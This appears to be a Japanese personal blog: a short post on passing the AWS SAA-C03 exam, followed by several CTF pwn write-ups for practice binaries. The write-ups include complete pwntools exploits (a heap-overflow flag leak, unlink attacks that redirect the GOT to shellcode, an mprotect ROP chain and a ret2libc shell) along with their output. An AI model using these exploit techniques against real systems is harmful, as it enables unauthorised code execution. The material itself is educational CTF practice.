AWS SAA(C03)を取得した
今年はAWS re:Invent2024に参加してきた。 AWS re:InventではAWSの認定者資格を持っていると認定者ラウンジに入れる。せっかくの機会なのでSAA(C03)を取得してきた。 簡単に取得した時の取り組みをまとめておこうと思う。
受験前の状態
期間
認定者ラウンジの存在をAWS re:Invent2024の開催1か月前に知ったのであまり時間がなかった。 大体2週間程度勉強した。
勉強内容
主に以下の書籍とPing-tを中心に取り組みつつ、受験日の数日前からUdemyの模擬試験を解くという流れで取り組んだ。
最初は試験対策やっても面白くないしBlackBeltの資料でも読み込みつつやるかと思っていたのだが、試験内容を見て方針変更。 普段使わないオンプレ周りのサービスの話もあり、問題文もややこしい。時間もないし試験対策特化してやることに。 一通り対策した後Udemyの模擬試験1が初見で8割弱あったので大丈夫だろうと思い受験。ちなみに模擬試験6も念のため解いたが65%だった。ちょっと傾向が違うし日本語が難しい。結果
846点で無事に合格。思いのほか余裕をもって合格できた。

取得してみて
もう少し手を抜いて勉強しても良かったかもしれない。少なくとも書籍はやらなくても良かった。受かるだけならPing-TとUdemyだけでよいと思う。 認定者ラウンジ入る目的だったらAWS CCPでよかったと後悔。英語の運用能力高めるほうに時間使った方が有意義だった。 普段使わないオンプレ周りのサービスについて知れたのはよかったと思う。
pwn challenges list easy villager B
解いた.
常設なのでwrite upは書けないが,ハリネズミ本のpwnの章を理解していれば問題ない.
セキュリティ機構としてPIEが有効になっていることを除けばそこまで苦労しなかった.
今後もちまちまpwn challenges list 進めていきます.
pwn challenges list easy PWN200
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ file heaptaskforbin | sed -e 's/,/\n/g' heaptaskforbin: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.15 BuildID[sha1]=60830f78c4331bce955103f8cf77e1e5c47e361d stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ checksec.sh --file heaptaskforbin RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH heaptaskforbin
解析
引数にポート番号を指定して実行すると,指定したポートで接続を待ち受ける.nc コマンドで接続すると次のようなメニューが表示された.(ここではポート番号22222を指定した)
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ nc localhost 22222 Welcome 1 - save message 2 - show message 3 - append message 4 - rewrite message 5 - delete message
それぞれの処理は次の通り.
1. ユーザが入力したデータを保存.保存したデータのIDを返す.
2. 入力したIDのデータの内容を表示
3. 入力したIDのデータに追加でデータを保存.
4. 入力したIDのデータの内容を上書き.
5. 指定したIDのデータを削除
これらのデータはヒープ領域に保存されており,mallocとfreeで領域の確保や保存を行っている.
デバッガで解析していくと,メニューを表示する前に初期化処理のようなものが行われていた.
一定数領域を確保し,ランダムな値を確保した領域に保存.その後いくつかの領域をfreeして解放.
このとき,flagファイルからflagをヒープ領域に読み込んでいる.
今回はflagが読み込まれたデータの中身が読めれば良いらしい.
このプログラムappendの処理で確保した領域のサイズを超えてデータの追加保存ができるため,appendでデータを追加してflagのデータとつなげてやって表示すれば良さそう.
Exploit
開放された領域にデータを新たに保存して,そのデータに少しずつ文字列を追加・表示.これをflagが出力されるまでそれぞれのでデータでやる.
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * host = 'localhost' port = 22222 conn = remote(host, port) def save(message): conn.send("1\n") conn.recv() conn.send(message + "\n") conn.recvuntil("Message ID = ") heap_id = conn.recvline() return heap_id def show(heap_id): conn.send("2\n") conn.recv() conn.send(heap_id + "\n") conn.recvuntil("Your message:") message = conn.recvuntil("Welcome")[:-7] return message def append(heap_id, add_message): conn.send("3\n") conn.recv() conn.send(heap_id + "\n") conn.recv() conn.send(add_message) conn.recvuntil("Success") heap_id_list = [] for i in range(20): message = "A" * 0x100 heap_id_list.append(save(message)) for heap_id in heap_id_list: for i in range(0x100): add_message = "aa" append(heap_id, add_message) result = show(heap_id) if "flag" in result: print result exit()
結果
flagファイルの中身 flag desuyoが表示されることを確認した.
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ python exploit.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/mattun-mart/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.0)
[+] Opening connection to localhost on port 22222: Done
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa aaflag desuyo
pwn challenges list easy ezhp
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ file ezhp | sed -e "s/,/\n/g" ezhp: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=76bda55f976430db3bea49b59ecd66040527fa9a stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ checksec.sh --file ezhp RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH ezhp
解析
動作させてみると,ノート管理を行のためのメニューが表示される.
Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option.
それぞれの処理は次の通り
1. heap領域から指定したサイズ領域を確保.領域にはidが0から振られる.
2. 指定したidの領域を解放.
3. 指定したidの領域に対して指定したサイズ分データを保存.
4. 指定したidの領域の内容を表示
5. プログラム終了
このプログラムはheapの管理が独自実装になっており,size,*fd,*bk,*char bufという感じで双方向リストで管理されている.
また,3の処理では確保してある領域のサイズより大きいサイズを指定することができるため,次のidの領域の内容を書き換えることが可能.
さらにこのプログラムは,解放処理で対象のチャンクPをリストから外す際に,p->fd->bk == p,p->bk->fd == pを確認していない.
以上のことから,unlink attackが可能.
Exploit
NXが無効化されているので,確保した領域にshellcodeを積んで実行することを考える.
Gotがシェルコードを指すようにしてあげることで,GOTが呼ばれたときにシェルコードが実行されるようにする.
次の図のような感じにした.

unlink後はシェルコードを実行したいが,チャンクの先頭指すことになるためfdとbkが邪魔.
相対ジャンプでfdとbkを避けてあげることでシェルコードを実行させた.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * conn = process('./ezhp') elf = ELF('./ezhp') puts_got_addr = elf.got['puts'] shellcode = asm(shellcraft.sh()) # add_note id 0 conn.send("1\n") conn.send("100\n") # add_note id 1 conn.send("1\n") conn.send("100\n") # add_note id 2 conn.send("1\n") conn.send("100\n") # change note id 1 conn.send("3\n") conn.send("0\n") conn.send("112\n") payload = "A" * 108 payload += "\x90\x90\xeb\x08" # jmp to shellcode payload += "\n" conn.send(payload) # change note id 1 conn.send("3\n") conn.send("1\n") conn.send("116\n") payload = shellcode payload += "A" * (112 - len(shellcode)) payload += p32(puts_got_addr - 8) # fd:got-8 fd->bk:got payload += "\n" conn.send(payload) # remove note id 2 (unlink attack) conn.send("2\n") conn.send("2\n") conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ python exploit.py
[+] Starting local process './ezhp': pid 25845
[*] '/home/mattun-mart/Workspace/pwn/easy/ezhp/ezhp'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] Switching to interactive mode
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me a size.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me a size.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me a size.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
Please give me a size.
Please input your data.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
Please give me a size.
Please input your data.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
$ ls
core ezhp.id1
dump ezhp.id2
exploit.py ezhp.nam
ezhp ezhp.til
ezhp-b502addeb274f41757555c05b08e3b05.tar.bz2 peda-session-ezhp.txt
ezhp.id0 peda-session-ls.txt
pwn challenges list easy bin_pwn_300
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ file chal |sed -e "s/,/\n/g" chal: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ checksec.sh --file chal RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH chal
NX有効.
解析
straceで実行すると,ポート32000で待ち受けているので接続する.
mattun-mart@4ctf:~$ nc localhost 32000 aaaa aaaaaaaaa a
よくわからないので解析する.
解析した結果ざっくりしたプログラムの流れは以下の通り.
1. recv関数で0x10文字受け取り,改行文字に終端文字列を挿入.
2. 入力のうち改行文字までの文字列と(white,black,bintendo64,46odnetnib,hex,hax)とそれぞれ比較.一致していれば一致した名前の関数を実行.
3. 関数の処理結果をsend関数で送信.
それぞれの関数の処理内容は以下のような感じ.
white
入力された文字の値を" "と"\t"に変換して表現.
ex. A → 41 →01000001 → "_\t_____\t"(スペースは_で表している)
1. 入力を受け取り.
2. 入力された文字列の1文字目の値の1bit目が1であれば"\t",0であれば" "をバッファに保存
3. 1文字目の値を1bit右シフト
4. 8bit分2,3の処理を繰り返した後に,対象文字を次の文字列へ
black
whiteの逆変換
1. 入力を受け取り.
2. 入力された文字列" "だったら0,"\t"だったら1をバッファに保存
3. 8bit分2の処理を繰り返し,結果をバッファに保存.
ただし,入力が0x200分あれば入力された文字列に対する処理が終わった後に再度入力を受け取り同じ処理を実施する.(最大10回可能)
46odnetnib
入力されたbase64文字列をデコード
hex
pythonでいうord()
hax
pythonでいうchr()
どこにバグがあるかというとblack関数.
変換結果の保存先のバッファのアドレスがリターンアドレスの保存先に近いため,入力が多いと書き換えが可能.
その差は0x210.
一回でバッファに保存できるサイズは0x40(0x200/8)ので,9回目の入力の途中から書き換えが可能.
Exploit
このプログラムは文字列を読み込むための関数中でmprotect関数が使われているためNXを回避できる.
そのため,mprotect関数でどこかしらの領域を実行可能にしてシェルコードを実行すれば良い.
書き込めるサイズは0x70byte分と小さく,スタックにシェルコードを積むとサイズオーバーしてしまうので,bss領域にシェルコードを積んで実行する.
あとはpayloadを" "と"\t"の組み合わせの文字列に変換して送ってやればよい.(mprotectに指定するアドレスはページ境界なことに注意)
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * #context. log_level = 'debug' def conv_format(buf): result = "" for i in buf: code = ord(i) for j in range(8): if code<<j & 0x80: result += "\t" else: result += " " return result host = 'localhost' port = 32000 conn = remote(host, port) elf = ELF("./chal") shellcode = asm(shellcraft.sh()) recv_plt_addr = elf.plt['recv'] mprotect_plt_addr = elf.plt['mprotect'] send_plt_addr = elf.plt['send'] pop4ret = 0x080496a0 pop3ret = 0x080496a1 bss = 0x0804b000 # fast input payload = "black\n" + "A" * 10 conn.send(payload) # second input # (black input) payload = "A" * 0x210 # padding # mprotect(bss,0x1000,7) payload += p32(mprotect_plt_addr) payload += p32(pop3ret) payload += p32(bss) payload += p32(0x1000) payload += p32(7) # recv(4,bss+0x200,len(shellcode),0) payload += p32(recv_plt_addr) payload += p32(pop4ret) payload += p32(4) payload += p32(bss+ 0x200) payload += p32(len(shellcode)) payload += p32(0) # stored shellcode payload += p32(bss + 0x200) payload += "A" * (0x280 - len(payload)) conn.send(conv_format(payload)) conn.send(shellcode) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ python exploit.py
[+] Opening connection to localhost on port 32000: Done
[*] '/home/mattun-mart/Workspace/pwn/easy/bin_pwn_300/chal'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
chal
chal.i64
chal.id0
chal.id1
chal.id2
chal.nam
chal.til
dump
exploit.py
memo.c
peda-session-chal.txt
pwn challenges list easy heap
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ file heap | sed -e "s/,/\n/g" heap: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5 not stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ checksec.sh --file heap RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH heap
NX有効.
解析
さっそく起動してみる.
20個オブジェクトを割り当てたと出力が出て260バイトのサイズで入力を求められるので271バイト送ってみる.
割り当てた領域を11個目のオブジェクトを開放する際にプログラムが落ちている.
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ ./heap Welcome to your first heap overflow... I am going to allocate 20 objects... Using Dougle Lee Allocator 2.6.1... Goodluck! Exit function pointer is at 804C8AC address. [ALLOC][loc=8E2D008][size=1246] [ALLOC][loc=8E2D4F0][size=1121] [ALLOC][loc=8E2D958][size=947] [ALLOC][loc=8E2DD10][size=741] [ALLOC][loc=8E2E000][size=706] [ALLOC][loc=8E2E2C8][size=819] [ALLOC][loc=8E2E600][size=673] [ALLOC][loc=8E2E8A8][size=1004] [ALLOC][loc=8E2EC98][size=952] [ALLOC][loc=8E2F058][size=755] [ALLOC][loc=8E2F350][size=260] [ALLOC][loc=8E2F458][size=877] [ALLOC][loc=8E2F7D0][size=1245] [ALLOC][loc=8E2FCB8][size=1047] [ALLOC][loc=8E300D8][size=1152] [ALLOC][loc=8E30560][size=1047] [ALLOC][loc=8E30980][size=1059] [ALLOC][loc=8E30DA8][size=906] [ALLOC][loc=8E31138][size=879] [ALLOC][loc=8E314B0][size=823] Write to object [size=260]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Copied 271 bytes. [FREE][address=8E2D008] [FREE][address=8E2D4F0] [FREE][address=8E2D958] [FREE][address=8E2DD10] [FREE][address=8E2E000] [FREE][address=8E2E2C8] [FREE][address=8E2E600] [FREE][address=8E2E8A8] [FREE][address=8E2EC98] [FREE][address=8E2F058] [FREE][address=8E2F350] Segmentation fault (コアダンプ)
てことでデバッガで追ってみると,次のような処理をしていた.
1. 乱数により生成されたサイズ分(毎回固定),mallocで領域確保.ただし11個目のサイズは0x104で固定
2. 確保した領域のアドレスとサイズをスタックに保存.
3. ユーザからの入力をサイズ0x1000で受け取り.
4. ユーザから受け取った入力をmemcpy関数で11個目の確保領域にコピー.(ここでヒープオーバーフローが起こせる)
5. 各領域を確保した順にfree関数で解放
heap関連はあまり経験がないので,ここからbataさんの資料等を参考に進めている.
最初の出力でもわかるがここで使われているmalloc関連の関数はDougle Lee Allocator 2.6.1を用いているらしい.
http://gee.cs.oswego.edu/pub/misc/malloc-2.6.1.c
この Dougle Lee Allocator 2.6.1のfree()の際のunlinkは下記のようになっている.
しかし,古き良き時代のものなので,Ful->bk == p, Bul->fd == pの判定が入っておらず簡単にunlink attackができる.
#define unlink(p)
{
mchunkptr Bul = (p)->bk;
mchunkptr Ful = (p)->fd;
Ful->bk = Bul; Bul->fd = Ful;
} ついでにこのプログラム,割当ての際にheap領域が実行可能になるらしい.
NXが有効にもかかわらず,heap領域に限っては自前のシェルコードが実行できる.
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x0804b000 r-xp /home/mattun-mart/Workspace/pwn/easy/heap/heap 0x0804b000 0x0804c000 r--p /home/mattun-mart/Workspace/pwn/easy/heap/heap 0x0804c000 0x0804d000 rw-p /home/mattun-mart/Workspace/pwn/easy/heap/heap 0x0804d000 0x08051000 rwxp [heap] 0xf7e05000 0xf7e06000 rw-p mapped 0xf7e06000 0xf7fb6000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xf7fb6000 0xf7fb8000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xf7fb8000 0xf7fb9000 rw-p /lib/i386-linux-gnu/libc-2.23.so 0xf7fb9000 0xf7fbc000 rw-p mapped 0xf7fd4000 0xf7fd5000 rw-p mapped 0xf7fd5000 0xf7fd8000 r--p [vvar] 0xf7fd8000 0xf7fd9000 r-xp [vdso] 0xf7fd9000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 rw-p [stack]
Exploit
方針としては,
1. ヒープオーバーフローで入力に12個目の領域のsize,fb,bkを書き換え.またシェルコードを積んでおく.
2. 11個目の領域をfree()で解放するときにunlink attackでGOT領域の関数をシェルコードに向ける.
3. GOT関数が呼び出された際に,シェルコード実行.
図にするとこんな感じ.

うまく12個目のchunkをfreeさせるために,12個目のチャンクのprev_inuseの値を1にするのと,13個目のチャンク(array12_addr + sizeで位置を計算可)のprev_inuseの値を0にするのを忘れずに.
最終的には以下のようなExploitコードになった.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * conn = process('./heap') elf = ELF('./heap') printf_got_addr = elf.got['printf'] heap_addr = int(conn.recvuntil('size=260')[-17:-10],16) shellcode = asm(shellcraft.sh()) buf_size = 0x104 payload = "\xeb\x10" # jmp 0x10 p->bk->fd = p->fdの際に入力内容が一部アドレスで書き換わるのでjmpで避ける. payload = "A" * (0x10 - len(payload)) payload += shellcode payload += "A" * (buf_size - len(payload)) payload += p32(0x11) # size chunk12 prev_inuse = 1 chunk13 prev_inuse = 0 payload += p32(printf_got_addr - 8) # fb payload += p32(heap_addr) # bk payload += "\n" conn.send(payload) conn.recv() conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ python exploit.py
[+] Starting local process './heap': pid 13042
[*] '/home/mattun-mart/Workspace/pwn/easy/heap/heap'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
]
[ALLOC][loc=853F458][size=877]
[ALLOC][loc=853F7D0][size=1245]
[ALLOC][loc=853FCB8][size=1047]
[ALLOC][loc=85400D8][size=1152]
[ALLOC][loc=8540560][size=1047]
[ALLOC][loc=8540980][size=1059]
[ALLOC][loc=8540DA8][size=906]
[ALLOC][loc=8541138][size=879]
[ALLOC][loc=85414B0][size=823]
Write to object [size=260]:
Copied 273 bytes.
[FREE][address=853D008]
[FREE][address=853D4F0]
[FREE][address=853D958]
[FREE][address=853DD10]
[FREE][address=853E000]
[FREE][address=853E2C8]
[FREE][address=853E600]
[FREE][address=853E8A8]
[FREE][address=853EC98]
[FREE][address=853F058]
[FREE][address=853F350]
$ ls
core exploit.py heap.id0 heap.id2 heap.til
dump heap heap.id1 heap.nam peda-session-heap.txt今まで逆アセンブル結果はobjdumpの結果を見ていたが,今回はIDAを使ってみた.
制御フローが可視化されるのがとても良い.
この調子でheapの理解を深めていきたい.
pwnbaby easy ropasaurusrex
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ file ropasaurusrex | sed -e "s/,/\n/g" ropasaurusrex: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.18 BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092 stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ checksec.sh --file ropasaurusrex RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH ropasaurusrex
NX有効.
解析
プログラムを起動すると入力待ちになる.大量に文字を入力してみるとプログラムが落ちる.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ./ropasaurusrex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
デバッガで追ってみるとread関数でバッファーオーバーフローが起きることがわかった.0x100文字分入力が可能だが,入力を格納する領域0xffffd084+0x8Cの位置にリターンアドレスが格納されているため,
0x8c(140)を超えて入力してしまうとリターンアドレスが上書きされてしまう.
[----------------------------------registers-----------------------------------] EAX: 0xffffd090 --> 0x0 EBX: 0x0 ECX: 0xb5cd6f5c EDX: 0xffffd164 --> 0x0 ESI: 0xf7fb9000 --> 0x1afdb0 EDI: 0xf7fb9000 --> 0x1afdb0 EBP: 0xffffd118 --> 0xffffd138 --> 0x0 ESP: 0xffffd080 --> 0x0 EIP: 0x8048416 (call 0x804832c <read@plt>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048405: lea eax,[ebp-0x88] 0x804840b: mov DWORD PTR [esp+0x4],eax 0x804840f: mov DWORD PTR [esp],0x0 => 0x8048416: call 0x804832c <read@plt> 0x804841b: leave 0x804841c: ret 0x804841d: push ebp 0x804841e: mov ebp,esp Guessed arguments: arg[0]: 0x0 arg[1]: 0xffffd090 --> 0x0 arg[2]: 0x100 [------------------------------------stack-------------------------------------] 0000| 0xffffd080 --> 0x0 0004| 0xffffd084 --> 0xffffd090 --> 0x0 0008| 0xffffd088 --> 0x100 0012| 0xffffd08c --> 0x1 0016| 0xffffd090 --> 0x0 0020| 0xffffd094 --> 0x1 0024| 0xffffd098 --> 0xf7ffd918 --> 0x0 0028| 0xffffd09c --> 0xf0b2ff [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048416 in ?? ()
ということでリターンアドレスは奪えたので後はどうにかしてシェルを起動してやれば良い.
Exploit
NXが有効になっておりシェルコードを積んでも実行出来ないので,libc内のsystem関数を呼び出してあげることにする.
プログラムではreadとwrite関数が利用されているのでこの2つを利用してアドレスのリークと書き換えを行う.
方針としては
1. write関数を用いてlibc内の関数をどれでもよいのでリーク
2. リークしたアドレスからlibc_baseのアドレスを計算.libc内のsystem関数のアドレスを計算.
3. read関数でGOT領域の関数をsystemに書き換え + 文字列/bin/shをどこかに格納
4. system関数に書き換えたGOT領域の関数を呼び出しシェルを起動.
ということで,必要なアドレスを集める.
リークするアドレスの関数はwrite関数にしたので(read関数とかでもよい),write_offset値,system_offset値を調べる.
ただし,実際はリモート環境で利用されているlibcを調べる必要がある.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ldd ropasaurusrex | grep libc libc.so.6 => /lib32/libc.so.6 (0xf7589000) mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep write 0011ee00 T _IO_do_write 000694d0 T _IO_do_write 0011e830 T _IO_file_write 00068460 T _IO_file_write 0005e210 T _IO_fwrite 00063880 T _IO_wdo_write 000d2780 T __libc_pwrite 000d28d0 W __pwrite64 000d43c0 W __write 000e5770 T eventfd_write 0005e210 W fwrite 000673c0 T fwrite_unlocked 000e62b0 T process_vm_writev 000d2780 W pwrite 000d28d0 W pwrite64 000dd880 T pwritev 000dd940 T pwritev64 000d43c0 W write 000dd6b0 W writev mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep system 0003a940 T __libc_system 00110840 T svcerr_systemerr 0003a940 W system
ropで関数呼び出しを継続するときに,スタック内のread関数とwrite関数の引数(いずれも引数は3つ)が邪魔なので,この引数を取り除くためのpop3retをrp++を利用して調べる.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ rp -f ropasaurusrex -r 3 --unique | grep pop 0x080483c1: add al, 0x5B ; pop ebp ; ret ; (2 found) 0x080483bf: add esp, 0x04 ; pop ebx ; pop ebp ; ret ; (2 found) 0x080484b1: fiadd word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret ; (1 found) 0x080483c0: les eax, [ebx+ebx*2] ; pop ebp ; ret ; (2 found) 0x08048451: mov ebp, esp ; pop ebp ; ret ; (1 found) 0x080482e8: pop eax ; pop ebx ; leave ; ret ; (1 found) 0x080483c3: pop ebp ; ret ; (4 found) 0x080482e9: pop ebx ; leave ; ret ; (2 found) 0x080483c2: pop ebx ; pop ebp ; ret ; (2 found) 0x08048504: pop ecx ; pop ebx ; leave ; ret ; (1 found) 0x080484b7: pop edi ; pop ebp ; ret ; (1 found) 0x080484b6: pop esi ; pop edi ; pop ebp ; ret ; (1 found) # これを利用する 0x08048450: push ebp ; mov ebp, esp ; pop ebp ; ret ; (1 found) 0x080483ba: sub byte [esi-0x7CFEF7FC], dl ; les eax, [ebx+ebx*2] ; pop ebp ; ret ; (1 found)
あとはExploit書くだけ.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * #context.log_level = 'debug' conn = process('./ropasaurusrex') elf = ELF('./ropasaurusrex') write_plt_addr = elf.plt['write'] read_plt_addr = elf.plt['read'] write_got_addr = elf.got['write'] write_offset = 0x000d43c0 system_offset = 0x0003a940 binsh_offset = 0x15902b pop3ret = 0x080484b6 # write(1,write_got_addr,4) payload = "A" * 140 payload += p32(write_plt_addr) payload += p32(pop3ret) payload += p32(1) payload += p32(write_got_addr) payload += p32(4) # read(0,write_got_addr,12) payload += p32(read_plt_addr) payload += p32(pop3ret) payload += p32(0) payload += p32(write_got_addr) payload += p32(12) # system(/bin/sh) payload += p32(write_plt_addr) payload += "AAAA" payload += p32(write_got_addr + 4) # conn.send()で送るp32(system_addr)は4byteだから文字列"/bin/sh"の位置にずらす payload += "\n" conn.send(payload) # culcurate libc libc_write_addr = u32(conn.recv()) libc_base_addr = libc_write_addr - write_offset system_addr = libc_base_addr + system_offset conn.send(p32(system_addr) + b'/bin/sh\0') conn.interactive()
結果
とりあえずローカル環境.リモート環境でやりたいときはsocatとか使う.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ python exploit.py
[+] Starting local process './ropasaurusrex': pid 26166
[*] '/home/mattun-mart/Workspace/pwn/easy/ropasaurusrex/ropasaurusrex'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
core libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a ropasaurusrex
dump peda-session-dash.txt
exploit.py peda-session-ropasaurusrex.txt
